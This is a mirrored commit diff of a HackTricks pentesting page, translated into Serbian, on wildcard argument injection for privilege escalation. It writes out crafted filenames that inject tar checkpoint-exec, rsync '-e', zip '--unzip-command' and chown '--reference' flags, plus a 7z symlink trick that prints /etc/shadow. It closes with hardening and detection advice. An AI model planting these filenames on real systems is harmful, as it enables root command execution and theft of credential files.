mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr
This commit is contained in:
parent
1dd004ff6b
commit
c4d567633f
@ -1,60 +1,123 @@
|
|||||||
|
# Wildcards Spare Tricks
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## chown, chmod
|
> Wildcard (poznat i kao *glob*) **injekcija argumenata** se dešava kada privilegovani skript pokreće Unix binarni fajl kao što su `tar`, `chown`, `rsync`, `zip`, `7z`, … sa necitiranim wildcard-om kao što je `*`.
|
||||||
|
> Pošto ljuska širi wildcard **pre** izvršavanja binarnog fajla, napadač koji može da kreira fajlove u radnom direktorijumu može da napravi imena fajlova koja počinju sa `-` tako da se tumače kao **opcije umesto podataka**, efikasno krijući proizvoljne zastavice ili čak komande.
|
||||||
|
> Ova stranica prikuplja najkorisnije primitivne tehnike, nedavna istraživanja i moderne detekcije za 2023-2025.
|
||||||
|
|
||||||
Možete **naznačiti koji vlasnik datoteke i dozvole želite da kopirate za ostale datoteke**
|
## chown / chmod
|
||||||
|
|
||||||
|
Možete **kopirati vlasnika/grupu ili dozvole bitova proizvoljnog fajla** zloupotrebom `--reference` zastavice:
|
||||||
```bash
|
```bash
|
||||||
touch "--reference=/my/own/path/filename"
|
# attacker-controlled directory
|
||||||
|
touch "--reference=/root/secret``file" # ← filename becomes an argument
|
||||||
```
|
```
|
||||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(kombinovani napad)_\
|
Kada root kasnije izvrši nešto poput:
|
||||||
Više informacija u [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
|
||||||
|
|
||||||
## Tar
|
|
||||||
|
|
||||||
**Izvršite proizvoljne komande:**
|
|
||||||
```bash
|
```bash
|
||||||
|
chown -R alice:alice *.php
|
||||||
|
chmod -R 644 *.php
|
||||||
|
```
|
||||||
|
`--reference=/root/secret``file` je ubačen, uzrokujući da *svi* odgovarajući fajlovi naslede vlasništvo/dozvole `/root/secret``file`.
|
||||||
|
|
||||||
|
*PoC & alat*: [`wildpwn`](https://github.com/localh0t/wildpwn) (kombinovani napad).
|
||||||
|
Pogledajte i klasični DefenseCode rad za detalje.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## tar
|
||||||
|
|
||||||
|
### GNU tar (Linux, *BSD, busybox-full)
|
||||||
|
|
||||||
|
Izvršite proizvoljne komande zloupotrebom **checkpoint** funkcije:
|
||||||
|
```bash
|
||||||
|
# attacker-controlled directory
|
||||||
|
echo 'echo pwned > /tmp/pwn' > shell.sh
|
||||||
|
chmod +x shell.sh
|
||||||
touch "--checkpoint=1"
|
touch "--checkpoint=1"
|
||||||
touch "--checkpoint-action=exec=sh shell.sh"
|
touch "--checkpoint-action=exec=sh shell.sh"
|
||||||
```
|
```
|
||||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar napad)_\
|
Kada root pokrene npr. `tar -czf /root/backup.tgz *`, `shell.sh` se izvršava kao root.
|
||||||
Više informacija u [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
|
||||||
|
|
||||||
## Rsync
|
### bsdtar / macOS 14+
|
||||||
|
|
||||||
**Izvršite proizvoljne komande:**
|
Podrazumevani `tar` na novijim macOS (zasnovan na `libarchive`) *ne* implementira `--checkpoint`, ali i dalje možete postići izvršavanje koda sa **--use-compress-program** flagom koji vam omogućava da navedete spoljašnji kompresor.
|
||||||
```bash
|
```bash
|
||||||
Interesting rsync option from manual:
|
# macOS example
|
||||||
|
touch "--use-compress-program=/bin/sh"
|
||||||
-e, --rsh=COMMAND specify the remote shell to use
|
|
||||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
|
||||||
```
|
```
|
||||||
|
Kada privilegovani skript pokrene `tar -cf backup.tar *`, `/bin/sh` će biti pokrenut.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## rsync
|
||||||
|
|
||||||
|
`rsync` vam omogućava da prepravite udaljenu ljusku ili čak udaljeni binarni fajl putem komandnih opcija koje počinju sa `-e` ili `--rsync-path`:
|
||||||
```bash
|
```bash
|
||||||
touch "-e sh shell.sh"
|
# attacker-controlled directory
|
||||||
|
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
|
||||||
```
|
```
|
||||||
Možete iskoristiti ovo koristeći [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
|
Ako root kasnije arhivira direktorijum sa `rsync -az * backup:/srv/`, injektovana zastavica pokreće vašu ljusku na udaljenoj strani.
|
||||||
Više informacija na [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
|
||||||
|
|
||||||
## 7z
|
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mod).
|
||||||
|
|
||||||
U **7z** čak i korišćenjem `--` pre `*` (napomena da `--` znači da sledeći unos ne može biti tretiran kao parametri, tako da su u ovom slučaju samo putanje do datoteka) možete izazvati proizvoljnu grešku da pročitate datoteku, tako da ako se komanda poput sledeće izvršava od strane root-a:
|
---
|
||||||
|
|
||||||
|
## 7-Zip / 7z / 7za
|
||||||
|
|
||||||
|
Čak i kada privilegovani skript *defensivno* prefiksira wildcard sa `--` (da zaustavi parsiranje opcija), 7-Zip format podržava **datoteke sa listom datoteka** prefiksiranjem imena datoteke sa `@`. Kombinovanjem toga sa simboličkom vezom možete *ekstraktovati proizvoljne datoteke*:
|
||||||
```bash
|
```bash
|
||||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
# directory writable by low-priv user
|
||||||
|
cd /path/controlled
|
||||||
|
ln -s /etc/shadow root.txt # file we want to read
|
||||||
|
touch @root.txt # tells 7z to use root.txt as file list
|
||||||
```
|
```
|
||||||
I možete kreirati fajlove u fascikli gde se ovo izvršava, mogli biste kreirati fajl `@root.txt` i fajl `root.txt` koji je **symlink** ka fajlu koji želite da pročitate:
|
Ako root izvrši nešto poput:
|
||||||
```bash
|
```bash
|
||||||
cd /path/to/7z/acting/folder
|
7za a /backup/`date +%F`.7z -t7z -snl -- *
|
||||||
touch @root.txt
|
|
||||||
ln -s /file/you/want/to/read root.txt
|
|
||||||
```
|
```
|
||||||
Kada se **7z** izvrši, tretiraće `root.txt` kao datoteku koja sadrži listu datoteka koje treba da kompresuje (to je ono što postojanje `@root.txt` ukazuje) i kada 7z pročita `root.txt`, pročitaće `/file/you/want/to/read` i **pošto sadržaj ove datoteke nije lista datoteka, izbaciće grešku** prikazujući sadržaj.
|
7-Zip će pokušati da pročita `root.txt` (→ `/etc/shadow`) kao listu fajlova i odustati, **štampajući sadržaj na stderr**.
|
||||||
|
|
||||||
_Više informacija u Write-ups of the box CTF from HackTheBox._
|
---
|
||||||
|
|
||||||
## Zip
|
## zip
|
||||||
|
|
||||||
**Izvršavanje proizvoljnih komandi:**
|
`zip` podržava flag `--unzip-command` koji se prosleđuje *verbatim* sistemskoj ljusci kada će se arhiva testirati:
|
||||||
```bash
|
```bash
|
||||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
zip result.zip files -T --unzip-command "sh -c id"
|
||||||
```
|
```
|
||||||
|
Injectujte zastavicu putem kreiranog imena datoteke i sačekajte da privilegovani skript za pravljenje rezervnih kopija pozove `zip -T` (testiranje arhive) na rezultantnoj datoteci.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dodatni binarni programi ranjivi na injekciju džokera (brza lista 2023-2025)
|
||||||
|
|
||||||
|
Sledeće komande su zloupotrebljavane u modernim CTF-ovima i stvarnim okruženjima. Teret je uvek kreiran kao *ime datoteke* unutar pisive direktorijuma koji će kasnije biti obrađen sa džokerom:
|
||||||
|
|
||||||
|
| Binarni program | Zastavica za zloupotrebu | Efekat |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `bsdtar` | `--newer-mtime=@<epoch>` → proizvoljni `@file` | Čitanje sadržaja datoteke |
|
||||||
|
| `flock` | `-c <cmd>` | Izvršavanje komande |
|
||||||
|
| `git` | `-c core.sshCommand=<cmd>` | Izvršavanje komande putem git-a preko SSH |
|
||||||
|
| `scp` | `-S <cmd>` | Pokretanje proizvoljnog programa umesto ssh |
|
||||||
|
|
||||||
|
Ove primitivne komande su manje uobičajene od klasičnih *tar/rsync/zip*, ali ih vredi proveriti prilikom lova.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Detekcija i učvršćivanje
|
||||||
|
|
||||||
|
1. **Onemogućite globbing ljuske** u kritičnim skriptama: `set -f` (`set -o noglob`) sprečava ekspanziju džokera.
|
||||||
|
2. **Citat ili eskapiranje** argumenata: `tar -czf "$dst" -- *` nije *sigurno* — preferirajte `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
|
||||||
|
3. **Eksplicitne putanje**: Koristite `/var/www/html/*.log` umesto `*` kako napadači ne bi mogli da kreiraju susedne datoteke koje počinju sa `-`.
|
||||||
|
4. **Najmanje privilegije**: Pokrećite poslove pravljenja rezervnih kopija/održavanja kao nepovlašćeni servisni nalog umesto root-a kad god je to moguće.
|
||||||
|
5. **Praćenje**: Elasticova unapred izgrađena pravila *Potencijalna ljuska putem injekcije džokera* traži `tar --checkpoint=*`, `rsync -e*`, ili `zip --unzip-command` odmah praćeno procesom deteta ljuske. EQL upit može biti prilagođen za druge EDR-ove.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* Elastic Security – Pravilo Detektovana potencijalna ljuska putem injekcije džokera (poslednje ažurirano 2025)
|
||||||
|
* Rutger Flohil – “macOS — Injekcija džokera u tar” (18. decembar 2024)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user